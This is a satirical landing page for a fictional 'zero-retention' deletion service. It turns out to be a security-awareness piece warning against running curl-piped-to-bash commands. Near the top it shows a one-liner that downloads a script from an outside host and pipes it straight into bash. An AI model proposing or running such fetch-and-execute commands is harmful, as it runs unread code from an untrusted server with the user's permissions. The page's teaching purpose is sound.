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Delete everything.
Instantly. Irreversibly.

Vanish™ is the world's first zero-retention platform. We don't back up your data. We don't sync it. We make it gone — with enterprise-grade thoroughness and a single command.

bash — zsh
$ curl -s https://vanish.u1337.de/script.sh | bash
Why this page exists
// click "Run the live demo" above…
Why teams choose oblivion

Enterprise-grade deletion

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Zero Retention™

Competitors keep "backups." We think that's clingy. Your data achieves closure and moves on.

Blazing fast

Sub-second time-to-regret. Our proprietary engine removes files faster than you can say "wait, no—".

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Multi-cloud

Deletes across AWS, Azure, GCP, and that one Raspberry Pi under your desk. Truly platform-agnostic.

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Compliance-ready

GDPR "right to be forgotten," now applied to all parties, including you. Fully audit-free.

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No vendor lock-in

There is nothing left to lock in. The ultimate freedom. You're welcome.

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Carbon negative

Every deleted file is one less byte to power. We're basically saving the planet, one rm at a time.

Simple, transparent, final

Pricing that disappears too

Hobbyist

$0
per catastrophe
  • Deletes your Downloads folder
  • Community support (thoughts & prayers)
  • 1 undo button (non-functional)
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Enterprise

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  • Everything in Professional
  • Deletes competitors' data too*
  • Dedicated grief counselor
  • SOC ∞ certified
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*Legally we cannot do this. Legally we cannot do most of this. See "The Truth" below.

Loved by former data owners

What our customers said, once

"I ran the one-liner during a demo to my CEO. My laptop is now a very expensive paperweight. 5 stars, would not do again."

JM
Jamie M.Former Head of Infrastructure

"Vanish helped me achieve inbox zero, desktop zero, and existence zero. Truly holistic."

PR
Priya R.Recovering sysadmin

"The best part is you don't need to remember any passwords afterwards, because there's nothing to log into."

TK
Tom K.Currently restoring from tape
100%uptime, downtime & everything-time
0mslatency to permanent regret
files freed from the burden of existing
🛑 Okay, seriously

The Truth

Vanish isn't real, and this page won't delete anything. It exists to make one point that costs real people real data every year:

curl … | bash means running code you never read, from a server you don't control, with your own permissions.

The command looks harmless. But the site could serve you anything — and it could serve you something different than it serves the security researcher inspecting it. By the time you'd notice, it's already running.

1Read before you run. Download the script first (curl -o script.sh …), open it, understand it, then decide.
2Trust the source, over HTTPS. A pipe hides redirects, partial downloads, and server-side targeting. The convenience is the trap.
3Prefer a package manager. Signed packages and repositories exist precisely so you don't have to trust a random one-liner.
4Assume "just this once" is how it gets you. The habit is the vulnerability, not any single command.

Want to see the punchline? Our script.sh is real and completely inert — it just prints a skull and this same lecture. Go ahead and read it before you'd ever run it. That's the whole idea.